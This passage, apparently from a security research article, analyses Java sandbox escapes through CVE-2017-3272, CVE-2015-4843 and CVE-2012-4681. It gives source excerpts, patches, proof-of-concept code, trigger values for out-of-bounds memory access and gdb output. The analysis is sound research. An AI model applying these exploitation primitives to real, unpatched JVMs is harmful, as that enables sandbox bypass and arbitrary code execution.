In comparison, using _AtomicLongFieldUpdater_ classes, it would have taken only 10.000.000 * 8 = 76 MiB. Indeed, only the long fields take space. Furthermore, since all methods in _Atomic*FieldUpdater_ classes are static, only a single instance of the updater is created. Another benefit of using _Atomic*FieldUpdater_ classes is that the garbage collector will not have to keep track of the ten million _AtomicLong_ objects. However, to be able to do that, the updater uses unsafe functionalities of Java to retrieve the memory address of the target field via the _sun.misc.Unsafe_ class.

How to create an instance of a _AtomicReferenceFieldUpdater_ is illustrated below. Method newUpdater() has to be called with three parameters: tclass, the type of the class containing the field, vclass the type of the field and fieldName, the name of the field.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public static <U,W> AtomicReferenceFieldUpdater<U,W> newUpdater(

2: Class<U> tclass,

3: Class<W> vclass,

4: String fieldName) {

5: return new AtomicReferenceFieldUpdaterImpl<U,W>

6: (tclass, vclass, fieldName, Reflection.getCallerClass()); 7: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Method newUpdater() calls the constructor of _AtomicReferenceFieldUpdaterImpl_ which does the actual work.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: AtomicReferenceFieldUpdaterImpl(final Class<T> tclass,

2: final Class<V> vclass,

3: final String fieldName,

4: final Class<?> caller) {

5: final Field field;

6: final Class<?> fieldClass;

7: final int modifiers;

8: try {

9: field = AccessController.doPrivileged(

10: new PrivilegedExceptionAction<Field>() {

11: public Field run() throws NoSuchFieldException { 12: return tclass.getDeclaredField(fieldName);

13: }

14: });

15: modifiers = field.getModifiers();

16: sun.reflect.misc.ReflectUtil.ensureMemberAccess(

17: caller, tclass, null, modifiers);

18: ClassLoader cl = tclass.getClassLoader();

19: ClassLoader ccl = caller.getClassLoader();

20: if ((ccl != null) && (ccl != cl) &&

21: ((cl == null) || !isAncestor(cl, ccl))) {

22: sun.reflect.misc.ReflectUtil.checkPackageAccess(tclass); 23: }

24: fieldClass = field.getType();

25: } catch (PrivilegedActionException pae) {

26: throw new RuntimeException(pae.getException());

27: } catch (Exception ex) {

28: throw new RuntimeException(ex);

29: }

30:

31: if (vclass != fieldClass)

32: throw new ClassCastException();

33:

34: if (!Modifier.isVolatile(modifiers))

35: throw new IllegalArgumentException("Must be volatile type"); 36:

37: this.cclass = (Modifier.isProtected(modifiers) &&

38: caller != tclass) ? caller : null;

39: this.tclass = tclass;

40: if (vclass == Object.class)

41: this.vclass = null;

42: else

43: this.vclass = vclass;

44: offset = unsafe.objectFieldOffset(field);

45: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The constructor first retrieves, through reflection, the field to update (line 12). Note that the reflection call will work even if the code does not have any permission. This is the case because the call is performed within a doPrivileged() block which tells the JVM to allow certain operations even if the original caller does have the permission (see Section 2.4). Next, if the field has the protected attribute and the caller class is not the same as the tclass class, caller is stored in cclass (lines 37‑38). Note that caller is set in method newUpdater() via the call to Reflection.getCallerClass(). These lines (37‑38) are strange since class caller may have nothing to do with class tclass. We will see below that these lines are where the vulnerability lies. Next, the constructor stores tclass, vclass and uses reference unsafe of class _Unsafe_ to get the offset of field (lines 39‑44). This is a red flag as the _Unsafe_ class is very dangerous. It can be used to directly manipulate memory which should not be possible in a Java program. If it is directly or indirectly in the hands of the analyst, it could be used to bypass the Java sandbox.

Once the analyst has a reference to an _AtomicReferenceFieldUpdater_ object, he can call the set() method on it to update the field as illustrated below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public final void set(T obj, V newValue) {

2: accessCheck(obj);

3: valueCheck(newValue);

4: U.putObjectVolatile(obj, offset, newValue);

5: }

6:

7: private final void accessCheck(T obj) {

8: if (!cclass.isInstance(obj))

9: throwAccessCheckException(obj);

10: }

11:

12: private final void valueCheck(V v) {

13: if (v != null && !(vclass.isInstance(v)))

14: throwCCE();

15: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The first parameter of set(), obj, is the instance on which the reference field has to be updated. The second parameter, newValue, is the new value of the reference field. First, set() checks that obj is an instance of type cclass (lines 2, 7‑10). Then, set() checks that newValue is null or an instance of vclass, representing the field type (lines 3, 12‑15). If all the checks pass, the _Unsafe_ class is used to put the new value at the right offset in object obj (line 4).

The patch for the vulnerability is illustrated below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ this.cclass = (Modifier.isProtected(modifiers))

‑ ? caller : tclass;

+ this.cclass = (Modifier.isProtected(modifiers)

+ && tclass.isAssignableFrom(caller)

+ && !isSamePackage(tclass, caller))

+ ? caller : tclass;

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As we noticed earlier, the original code is not performing enough checks on the caller object. In the patched version, the code now checks that tclass is the same class as, a super‑class or a super‑interface of caller. How to exploit this vulnerability becomes obvious and is illustrated below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: class Dummy {

2: protected volatile A f;

3: }

4:

5: class MyClass {

6: protected volatile B g;

7:

8: main() {

9: m = new MyClass();

10: u = newUpdater(Dummy.class, A.class, "f");

11: u.set(m, new A());

12: println(m.g.getClass());

13: }

14: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

First the class _Dummy_ with field f of type _A_ is used to call newUpdater() (lines 1‑3, 9, 10). Then, method set() is called with class _MyClass_ and new value newVal for the field f of type _A_ on the updater instance (line 11). Instead of having field f of type _A_, _MyClass_ has field g of type _B_. Thus, the actual type of g after the call to set() is _A_ but the virtual machine assumes type _B_. The println() call will print "class A" instead of "class B" (line 12). However, accessing this instance of class _A_ is done through methods and fields of class _B_.

‑‑‑‑‑‑[ 3.1.3 ‑ Discussion

As mentioned above, the _Atomic*FieldUpdater_ classes have already been introduced in Java 1.5. However, the vulnerability was only detected in release 1.8_112 and patched in the next release 1.8_121. By dichotomy search in the releases from 1.6_ to 1.8_112 we find that the vulnerability first appears in release 1.8_92. Further testing reveals that all versions in between are also vulnerable: 1.8_101, 1.8_102 and 1.8_111. We have also tested the PoC against the first and last releases of Java 1.5: they are not vulnerable.

A diff of _AtomicReferenceFieldUpdater_ between versions 1.8_91 (not vulnerable) and 1.8_92 (vulnerable) reveals that a code refactoring operation failed to preserve the semantics of all the checks performed on the input values. The non‑vulnerable code of release 1.8_91 is illustrated below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: private void ensureProtectedAccess(T obj) {

2: if (cclass.isInstance(obj)) {

3: return;

4: }

5: throw new RuntimeException(...

6: }

7:

8: void updateCheck(T obj, V update) {

9: if (!tclass.isInstance(obj) ||

10: (update != null && vclass != null

11: && !vclass.isInstance(update)))

12: throw new ClassCastException();

13: if (cclass != null)

14: ensureProtectedAccess(obj);

15: }

16:

17: public void set(T obj, V newValue) {

18: if (obj == null ||

19: obj.getClass() != tclass ||

20: cclass != null ||

21: (newValue != null

22: && vclass != null

23: && vclass != newValue.getClass()))

24: updateCheck(obj, newValue);

25: unsafe.putObjectVolatile(obj, offset, newValue);

26: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the non‑vulnerable version, if obj's type is different from tclass, the type of the class containing the field to update, there are potentially two conditions to pass. The first is that obj can be cast to tclass (lines 9, 12). The second, only checked if the field is protected, is that obj can be cast to cclass (lines 14, 1‑6).

In the vulnerable version, however, the condition is simply that obj can be cast to cclass. The condition that obj can be cast to tclass is lost. Missing a single condition is enough to create a security vulnerability which, if exploited right, results in a total bypass of the Java sandbox.

Can type confusion attacks be prevented? In Java, for performance reasons, the type _T_ of an object o is not checked every time object o is used. Checking the type at every use of the object would prevent type confusion attacks but would also induce a runtime overhead.

‑‑‑‑[ 3.2 ‑ Integer Overflow

‑‑‑‑‑‑[ 3.2.1 ‑ Background

An integer overflow happens when the result of an arithmetic operation is too big to fit in the number of bits of the variable. In Java, integers use 32 bits to represent signed numbers. Positive values have values from 0x00000000 (0) to 0x7FFFFFFF (2^31 ‑ 1). Negative values have values from 0x80000000 (‑2^31)to 0xFFFFFFFF (‑1). If value 0x7FFFFFFF (2^31 ‑ 1) is incremented, the result does not represent 2^31 but (‑2^31). How can this be used to disable the security manager?

In the next section we analyze the integer overflow of CVE‑2015‑4843 [20]. The integer is used as an index in an array. Using the overflow we can read/write values outside the array. These read/write primitives are used to achieve a type confusion attack. The reader already knows from the description of CVE‑2017‑3272 above, that the analyst can rely on such an attack to disable the security manager.

‑‑‑‑‑‑[ 3.2.2 ‑ Example: CVE‑2015‑4843

A short description of this vulnerability is available on Redhat's Bugzilla [19]. It shows that multiple integer overflows have been found in Buffers classes from the java.nio package and that the vulnerability could be used to execute arbitrary code.

The vulnerability patch actually fixes the file java/nio/Direct‑X‑Buffer.java.template used to generate classes of the form DirectXBufferY.java where X could be "Byte", "Char", "Double", "Int", "Long", "Float" or "Short" and Y could be "S", "U", "RS" or "RU". "S" means that the array contains signed numbers, "U" unsigned numbers, "RS" signed numbers in read‑only mode and "RU" unsigned numbers in read‑only mode. Each of the generated classes _C_ wraps an array of a certain type that can be manipulated via methods of class _C_. For instance, DirectIntBufferS.java wraps an array of 32 bit signed integers and defines methods get() and set() to, respectively, copy elements from an array to the internal array of the DirectIntBufferS class or to copy elements from the internal array to an array outside the class. Below is an excerpt from the vulnerability patch:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

14: public $Type$Buffer put($type$[] src, int offset, int length) { 15: #if[rw]

16: ‑ if ((length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {

17: + if (((long)length << $LG_BYTES_PER_VALUE$) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {

18: checkBounds(offset, length, src.length); 19: int pos = position();

20: int lim = limit();

21: @@ ‑364,12 +364,16 @@

22:

23: #if[!byte]

24: if (order() != ByteOrder.nativeOrder())

25: ‑ Bits.copyFrom$Memtype$Array(src, offset << $LG_BYTES_PER_VALUE$,

26: ‑ ix(pos), length << $LG_BYTES_PER_VALUE$); 27: + Bits.copyFrom$Memtype$Array(src,

28: + (long)offset << $LG_BYTES_PER_VALUE$, 29: + ix(pos),

30: + (long)length << $LG_BYTES_PER_VALUE$); 31: else

32: #end[!byte]

33: ‑ Bits.copyFromArray(src, arrayBaseOffset, offset << $LG_BYTES_PER_VALUE$,

34: ‑ ix(pos), length << $LG_BYTES_PER_VALUE$); 35: + Bits.copyFromArray(src, arrayBaseOffset, 36: + (long)offset << $LG_BYTES_PER_VALUE$, 37: + ix(pos),

38: + (long)length << $LG_BYTES_PER_VALUE$); 39: position(pos + length);

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The fix (lines 17, 28, 36, and 38) consists in casting the 32 bit integers to 64 bit integers before performing a shift operation which, on 32 bit, might result in an integer overflow. The corrected version of the put() method extracted from java.nio.DirectIntBufferS.java from Java 1.8 update 65 is below:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

354: public IntBuffer put(int[] src, int offset, int length) { 355:

356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) { 357: checkBounds(offset, length, src.length); 358: int pos = position();

359: int lim = limit();

360: assert (pos <= lim);

361: int rem = (pos <= lim ? lim ‑ pos : 0); 362: if (length > rem)

363: throw new BufferOverflowException(); 364:

365:

366: if (order() != ByteOrder.nativeOrder()) 367: Bits.copyFromIntArray(src,

368: long)offset << 2,

369: ix(pos),

370: long)length << 2);

371: else

372:

373: Bits.copyFromArray(src, arrayBaseOffset,

374: (long)offset << 2,

375: ix(pos),

376: (long)length << 2);

377: position(pos + length);

378: } else {

379: super.put(src, offset, length);

380: }

381: return this;

382:

383:

384:

385: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This method copies length elements from the src array from the specified offset to the internal array. At line 367, method Bits.copyFromIntArray() is called. This Java method takes as parameter the reference to the source array, the offset from the source array in bytes, the index into the destination array in bytes and the number of bytes to copy. As the three last parameters represent sizes and offsets in bytes, they have to be multiplied by four (shifted by 2 on the left). This is done for offset (line 374), pos (line 375) and length (line 376). Note that for pos, the operation is done within the ix() method.

In the vulnerable version, casts to long are not present, which makes the code vulnerable to integer overflows.

Similarly, the get() method, which copies elements from the internal array to an external array, is also vulnerable. The get() method is very similar to the put() method, except that the call to copyFromIntArray() is replaced by a call to copyToIntArray():

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

262: public IntBuffer get(int[] dst, int offset, int length) { 263:

[...]

275: Bits.copyToIntArray(ix(pos), dst,

276: long)offset << 2,

277: long)length << 2);

[...]

291: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since methods get() and put() are very similar, in the following we only describe how to exploit the integer overflow in the get() method. The approach is the same for the put() method.

Let's have a look at the Bits.copyFromArray() method, called in the get() method. This method is in fact a native method:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

803: static native void copyToIntArray(long srcAddr, Object dst,

804: long dstPos, long length);

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The C code of this method is shown below.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

175: JNIEXPORT void JNICALL

176: Java_java_nio_Bits_copyToIntArray(JNIEnv *env, jobject this,

177: jlong srcAddr, jobject dst,

jlong dstPos, jlong length)

178: {

179: jbyte *bytes;

180: size_t size;

181: jint *srcInt, *dstInt, *endInt;

182: jint tmpInt;

183:

184: srcInt = (jint *)jlong_to_ptr(srcAddr);

185:

186: while (length > 0) {

187: /* do not change this code, see WARNING above */

188: if (length > MBYTE)

189: size = MBYTE;

190: else

191: size = (size_t)length;

192:

193: GETCRITICAL(bytes, env, dst);

194:

195: dstInt = (jint *)(bytes + dstPos);

196: endInt = srcInt + (size / sizeof(jint));

197: while (srcInt < endInt) {

198: tmpInt = *srcInt++;

199: *dstInt++ = SWAPINT(tmpInt);

200: }

201:

202: RELEASECRITICAL(bytes, env, dst, 0);

203:

204: length ‑= size;

205: srcAddr += size;

206: dstPos += size;

207: }

208: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We notice that there is no check on the array indices. If the index is less than zero or greater or equal to the array size the code will run also. This code first transforms a long to a 32 bit integer pointer (line 184). Then, the code loops until length/size elements are copied (lines 186 and 204). Calls to GETCRITICAL() and RELEASECRITICAL() (lines 193 and 202) are used to synchronize the access to the dst array and have thus nothing to do with checking the index of the array.

To execute this native code three constraints present in the get() Java method have to be satisfied:

‑ Constraint 1:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

356: if (((long)length << 2) > Bits.JNI_COPY_FROM_ARRAY_THRESHOLD) {

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Constraint 2:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

357: checkBounds(offset, length, src.length);

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Constraint 3:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

362: if (length > rem)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We do not mention the assertion at line 360 since it is only checked if the "‑ea" (enable assertions) option is set in the VM. This is almost never the case in production since it entails slowdowns.

In the first constraint, JNI_COPY_FROM_ARRAY_THRESHOLD represents the threshold (in number of elements to copy) from which the copy will be done via native code. Oracle has empirically determined that it is worth calling native code from 6 elements. To satisfy this constraint, the number of elements to copy must be greater than 1 (6 >> 2).

The second constraint is present in the checkBounds() method:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

564: static void checkBounds(int off, int len, int size) { 566: if ((off | len | (off + len) | (size ‑ (off + len))) < 0) 567: throw new IndexOutOfBoundsException();

568: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The second constraint can be expressed as follows:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: offset > 0 AND length > 0 AND (offset + length) > 0

2: AND (dst.length ‑ (offset + length)) > 0.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The third constraint checks that the remaining number of elements is less than or equal to the number of elements to copy:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

length < lim ‑ pos

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To simplify, we suppose that the current index of the array is 0. The constraint then becomes:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

length < lim

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

which is the same as

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

length < dst.length

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A solution for these constraints is:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

dst.length = 1209098507

offset = 1073741764

length = 2

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With this solution, all the constraints are satisfied, and since there is an integer overflow we can read 8 bytes (2*4) at a negative index of ‑240 (1073741764 << 2). We now have a read primitive to read bytes before the dst array. Using the same technique on the get() method we get a primitive to write bytes before the dst array.

We can check that our analysis is correct by writing a simple PoC and execute it on a vulnerable version of the JVM such as Java 1.8 update 60.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public class Test {

2:

3: public static void main(String[] args) {

4: int[] dst = new int[1209098507];

5:

6: for (int i = 0; i < dst.length; i++) {

7: dst[i] = 0xAAAAAAAA;

8: }

9:

10: int bytes = 400;

11: ByteBuffer bb = ByteBuffer.allocateDirect(bytes); 12: IntBuffer ib = bb.asIntBuffer();

13:

14: for (int i = 0; i < ib.limit(); i++) {

15: ib.put(i, 0xBBBBBBBB);

16: }

17:

18: int offset = 1073741764; // offset << 2 = ‑240

19: int length = 2;

20:

21: ib.get(dst, offset, length); // breakpoint here

22: }

23:

24: }

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This code creates an array of size 1209098507 (line 4) and then initializes all the elements of this array to 0xAAAAAAAA (lines 6‑8). It then creates an instance ib of type IntBuffer and initializes all elements of its internal array (integers) to 0xBBBBBBBB (lines 10‑16). Finally, it calls the get() method to copy 2 elements from ib's internal array to dst with a negative offset of ‑240 (lines 18‑21). Executing this code does not crash the VM. Moreover, we notice that after calling get, no element of the dst array have been modified. This means that 2 elements from ib's internal array have been copied outside dst. Let's check this by setting a breakpoint at line 21 and then launching gdb on the process running the JVM. In the Java code we have used sun.misc.Unsafe to calculate the address of dst which is 0x20000000.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ gdb ‑p 1234

[...]

(gdb) x/10x 0x200000000

0x200000000:0x000000010x000000000x3f5c025e0x4811610b 0x200000010:0xaaaaaaaa0xaaaaaaaa0xaaaaaaaa0xaaaaaaaa 0x200000020:0xaaaaaaaa0xaaaaaaaa

(gdb) x/10x 0x200000000‑240

0x1ffffff10:0x000000000x000000000x000000000x00000000 0x1ffffff20:0x000000000x000000000x000000000x00000000 0x1ffffff30:0x000000000x00000000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

With gdb we notice that elements of the dst array have been initialized to 0xAAAAAAAA as expected. The array doest not start by 0xAAAAAAAA directly but has a 16 byte header which contains among other the size of the array (0x4811610b = 1209098507). For now, there is nothing (only null bytes) 240 bytes before the array. Let's execute the get Java method and check again the memory state with gdb:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(gdb) c

Continuing.

^C

Thread 1 "java" received signal SIGINT, Interrupt. 0x00007fb208ac86cd in pthread_join (threadid=140402604672768, thread_return=0x7ffec40d4860) at pthread_join.c:90

90in pthread_join.c

(gdb) x/10x 0x200000000‑240

0x1ffffff10:0x000000000x000000000x000000000x00000000 0x1ffffff20:0xbbbbbbbb0xbbbbbbbb0x000000000x00000000 0x1ffffff30:0x000000000x00000000

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The copy of two elements from ib's internal array to dst "worked": they have been copied 240 bytes before the first element of dst. For some reason the program did not crash. Looking at the memory map of the process indicates that there's a memory zone just before 0x20000000 which is rwx:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

$ pmap 1234

[...]

00000001fc2c0000 62720K rwx‑‑ [ anon ]

0000000200000000 5062656K rwx‑‑ [ anon ]

0000000335000000 11714560K rwx‑‑ [ anon ]

[...]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As explained below, in Java, a type confusion is synonym of total bypass of the sandbox. The idea for vulnerability CVE‑2017‑3272 is to use the read and write primitives to perform the type confusion. We aim at having the following structure in memory:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

B[] |0|1|............|k|......|l|

A[] |0|1|2|....|i|................|m|

int[] |0|..................|j|....|n|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An array of elements of type _B_ just before an array of elements of type _A_ just before the internal array of an _IntBuffer_ object. The first step consists in using the read primitive to copy the address of elements of type _A_ (at index i) inside the internal integer array (at index j). The second steps consists in copying the reference from the internal array (at index j) to an element of type _B_ (at index k). Once the two steps are done, the JVM will think element at index k is of type _B_, but it is actually an element of type _A_.

The code handling the heap is complex and can change from VM to VM (Hotspot, JRockit, etc.) but also from version to version. We have obtained a stable situation where all the three arrays are next to each other for 50 different versions of the JVM with the following array sizes:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

l = 429496729

m = l

n = 858993458

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ 3.2.3 ‑ Discussion

We have tested the exploit on all publicly available versions of Java 1.6, 1.7 and 1.8. All in all 51 versions are vulnerable: 18 versions of 1.6 (1.6_23 to 1.6_45), 28 versions of 1.7 (1.7_0 to 1.7_80) and 5 versions of 1.8 (1.8_05 to 1.8_60).

We have already discussed the patch above: the patched code now first casts 32 bit integers to long before doing the shift operation. This efficiently prevents integer overflows.

‑‑[ 4 ‑ Java Level Vulnerabilities

‑‑‑‑[ 4.1 ‑ Confused Deputy

‑‑‑‑‑‑[ 4.1.1 ‑ Background

Confused deputy attacks are a very common type of attack on the Java platform. Example attacks are the exploits for CVE‑2012‑5088, CVE‑2012‑5076, CVE‑2013‑2460, and also CVE‑2012‑4681 which we present in detail below. The basic idea is that exploit code aims for access to private methods or fields of system classes in order to, e.g., deactivate the security manager. Instead of accessing the desired class member directly, however, the exploit code will perform the access on behalf of a trusted system class. Typical ways to abuse a system class for that purpose is by exploiting insecure use of reflection or MethodHandles, i.e., a trusted system class performs reflective read access to a target field which can be determined by the analyst.

‑‑‑‑‑‑[ 4.1.2 ‑ Example: CVE‑2012‑4681

We will have a look at CVE‑2012‑4681, because this is often referred to by other authors as an example of a confused deputy attack.

As a first step, we retrieve access to _sun.awt.SunToolkit_, a restricted class which should be inaccessible to untrusted code.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: Expression expr0 = new Expression(Class.class, "forName", 2: new Object[] {"sun.awt.SunToolkit"});

3: Class sunToolkit = (Class)expr.execute().getValue();

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This already exploits a vulnerability. Even though we specify Class.forName() as the target method of the Expression, this method is actually not called. Instead, _Expression_ implements custom logic specifically for this case, which loads classes without properly checking access permissions. Thus, _Expression_ serves as our confused deputy here that loads a class for us that we would otherwise not be allowed to load.

As a next step, we use SunToolkit.getField() to get access to the private field Statement.acc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: Expression expr1 = new Expression(sunToolkit, "getField", 2: new Object[] {Statement.class, "acc"});

3: Field acc = expr1.execute().getValue();

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

getField() is another confused deputy, on whose behalf we get reflective access to a private field of a system class. The following snippet shows that getField() uses doPrivileged() to get the requested field, and also set it accessible, so that its value can be modified later.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑| SunToolkit.java |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1: public static Field getField(final Class klass,

2: final String fieldName) {

3: return AccessController.doPrivileged(

4: new PrivilgedAction<Field>() {

5: public Field run() {

6: ...

7: Field field = klass.getDeclaredField(fieldName);

8: ...

9: field.setAccessible(true);

10: return field;

11: ...

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Next, we create an _AccessControlContext_ which is assigned all permissions.

